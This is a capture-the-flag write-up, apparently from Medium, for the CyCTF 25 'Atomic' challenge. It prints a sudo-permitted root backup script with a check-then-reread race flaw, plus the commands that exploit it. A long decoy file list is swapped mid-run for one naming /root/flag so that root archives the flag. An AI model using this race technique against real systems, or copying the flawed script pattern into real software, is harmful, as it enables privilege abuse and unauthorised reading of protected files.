← Back to list

Atomic Challenge (MISC) | CyCTF 25

The crucial moment: Deceiving run.sh and hijacking root privileges. Mission: Accessing /root/flag.

Khonshu · 2025-11-20 16:07 · 0 claps · 3.6 min read
#ctf #cybersecurity #misc #osint #red-team
Open on Medium ↗
Wiki topics: SAF · Safety & Alignment 🔒 · Cybersecurity

Atomic Challenge (MISC) | CyCTF 25

The crucial moment: Deceiving run.sh and hijacking root privileges.

Mission: Accessing /root/flag.

Obstacle: I’m just a user with no privileges.

Weapon: Race condition vulnerability.

Chapter One: Searching for the Vulnerability

I stood before the command line, and the usual barrier stopped me: : Permission denied The system was securely locked, but I knew that every system, no matter how robust, contains at least one human error.

I asked the system the golden question:

sudo -l

The response came as if it were an open invitation:(root) NOPASSWD: /usr/local/bin/run.sh

 Matching Defaults entries for user on 4f0acb0cf0cd:

    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User user may run the following commands on 4f0acb0cf0cd:

    (root) NOPASSWD: /usr/local/bin/run.sh 

Here I paused. A file named run.sh runs with root privileges and doesn’t require a password? That seems too good to be true. Is it a trap? Or a gateway?

Chapter Two: Deconstructing the Code

I opened the file to see what was inside:

cat /usr/local/bin/run.sh

The script resembled a rigid bureaucrat:

It takes a list of files.

It thoroughly checks them (Loop 1): Are the files present? Are they .cfg files? Are they dummy links (symlinks)? If there are any errors, it rejects the operation.

It executes the operation (Loop 2): If the check is successful, it opens the list again, copies the files, and compresses them into an archive.

Eureka moment! The script makes a fatal mistake: it “trusts” that the file won’t change between the “check” and “execute” moments. There’s a very small time gap between the two loops. In that gap, the script is completely blind.

If I can change the list’s contents at that precise moment… I’ll make the root serve my purposes.

 #!/bin/bash

if [ $# -ne 1 ]; then

    echo "Usage: $0 <filename>"

    exit 1

fi

input_file="$1"

if [ ! -f "$input_file" ]; then

    echo "Error: File input does not exist"

    exit 1

fi

output_file="/opt/backup_$(date +%s)_$(head -c 6 /dev/urandom | base64 | tr -dc 'a-zA-Z0-9' | head -c 6).tar.gz"

validation_failed=0

while IFS= read -r line || [ -n "$line" ]; do

    path=$(echo "$line" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')



    [ -z "$path" ] && continue



    if [ ! -f "$path" ]; then

        echo "Error: File path does not exist"

        validation_failed=1

        continue

    fi



    if [ -L "$path" ]; then

        echo "What are you doing amego?"

        validation_failed=1

        continue

    fi



    ext=$(echo "$path" | grep -oE '\.[^.]+$' | tr '[:upper:]' '[:lower:]')



    if [ "$ext" != ".cfg" ] ; then

        echo "Error: File does not have .cfg extension"

        validation_failed=1

    fi

done < "$input_file"

if [ $validation_failed -eq 1 ]; then

    echo "Validation failed. Backup aborted."

    exit 1

fi

temp_dir=$(mktemp -d)

trap "rm -rf $temp_dir" EXIT

files_added=0

while IFS= read -r line || [ -n "$line" ]; do

    path=$(echo "$line" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')



    [ -z "$path" ] && continue



    rel_path=$(echo "$path" | sed 's|^/||')

    dir_path=$(dirname "$rel_path")

    [ "$dir_path" != "." ] && mkdir -p "$temp_dir/$dir_path" 2>/dev/null || true

    cp "$path" "$temp_dir/$rel_path" 2>/dev/null && files_added=$((files_added + 1)) || true

done < "$input_file"

if [ $files_added -gt 0 ]; then

    cd "$temp_dir"

    tar -czf "$output_file" . 2>/dev/null

    if [ $? -eq 0 ]; then

        echo "Backup created: $output_file ($files_added files)"

    else

        echo "Error: Failed to create backup archive"

        exit 1

    fi

else

    echo "No valid image files found to backup"

fi 

Chapter 3: Setting the Trap

I decided to launch a Race Condition attack. I would make the script busy scanning a seemingly innocent list, and the moment it felt secure, I would replace it with the malicious one.

  1. Preparing the Bait: I created a perfectly legitimate fake file to pass the security check.
touch /tmp/safe.cfg
  1. Setting up the malicious list (The Payload): This list contains what I really want.
echo "/root/flag" > /tmp/malicious.txt
  1. Slowing down the victim: To ensure I won the race, I made the “safe” list very long (5000 lines). This would make the script take longer to scan, giving me time to swap files.
for i in $(seq 1 5000); do echo "/tmp/safe.cfg"; done > /tmp/safe_list.txt

cp /tmp/safe_list.txt /tmp/attack_list.txt

Chapter Four: The Knockout Blow

I placed my hands on the keyboard. Timing was everything. I had to run the script, wait a fraction of a second, and then execute the switch.

sudo /usr/local/bin/run.sh /tmp/attack_list.txt & sleep 0.1 && cp /tmp/malicious.txt /tmp/attack_list.txt && wait

What happened behind the scenes?

sudo launched run.sh as Root and started reading the safe list. “Hmm, the cfg files are intact… Excellent.”

sleep 0.1: I’m waiting in the shadows while it’s busy.

cp: Now! I’ve replaced the safe list with the one that calls /root/flag.

The script finished its scan and went back to read the file to copy it… but it didn’t notice that the file had changed! It had executed commands on the malicious list!

Conclusion: Victory

The message appeared: Backup created: /opt/backup_…. It did it! The malicious script copied my flag and placed it in a safe area.

I went to extract it.

cd /tmp
tar -xvf /opt/backup_*.tar.gz

Then the long-awaited moment:

cat root/flag

The result: The system was compromised not by breaking the encryption, but by exploiting blind trust in the script. It was a challenge that proved “timing” is more powerful than “authority”. 🚩


메타데이터
post_id
cd01065dab34
slug
atomic-challenge-misc-cyctf-25-cd01065dab34
url
https://medium.com/@Khonshu0/atomic-challenge-misc-cyctf-25-cd01065dab34
canonical_url
https://medium.com/@Khonshu0/atomic-challenge-misc-cyctf-25-cd01065dab34
author_url
https://medium.com/@Khonshu0
status
ok
fetched_at
2026-06-20 20:29:01